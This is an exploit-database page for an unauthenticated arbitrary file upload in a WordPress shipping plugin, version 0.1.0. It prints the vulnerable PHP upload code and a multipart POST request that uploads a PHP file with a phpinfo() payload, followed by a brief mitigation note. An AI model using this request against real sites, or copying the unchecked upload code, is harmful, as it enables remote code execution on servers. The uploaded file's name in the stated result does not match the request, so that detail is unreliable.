header-logo
Suggest Exploit
vendor:
Baggage Freight Shipping Australia
by:
Kaimi
5.5
CVSS
MEDIUM
Arbitrary File Upload
434
CWE
Product Name: Baggage Freight Shipping Australia
Affected Version From: 0.1.0
Affected Version To: 0.1.0
Patch Exists: NO
Related CWE:
CPE: a:wordpress:baggage_freight_shipping_australia:0.1.0
Metasploit:
Other Scripts:
Platforms Tested: webapps
2018

WordPress Plugin Baggage Freight Shipping Australia 0.1.0 – Arbitrary File Upload

Unrestricted file upload for unahtorized user in package info upload process allowing arbitrary extension.

Mitigation:

Apply proper input validation and file type checking before allowing file uploads. Limit file extensions and restrict upload directory permissions.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/baggage-freight/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.1.0
# Category: webapps

# Unrestricted file upload for unahtorized user in package info upload 
# process allowing arbitrary extension.

File: upload-package.php

Vulnerable code:
if($_POST["submit"])
{
    if ($_FILES["file"])
    {
        $uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"];

        move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath);

# Exploitation example:

POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="submit"

1
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: audio/wav

<?php phpinfo();
-----------------------------18311719029180117571501079851--

# Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php.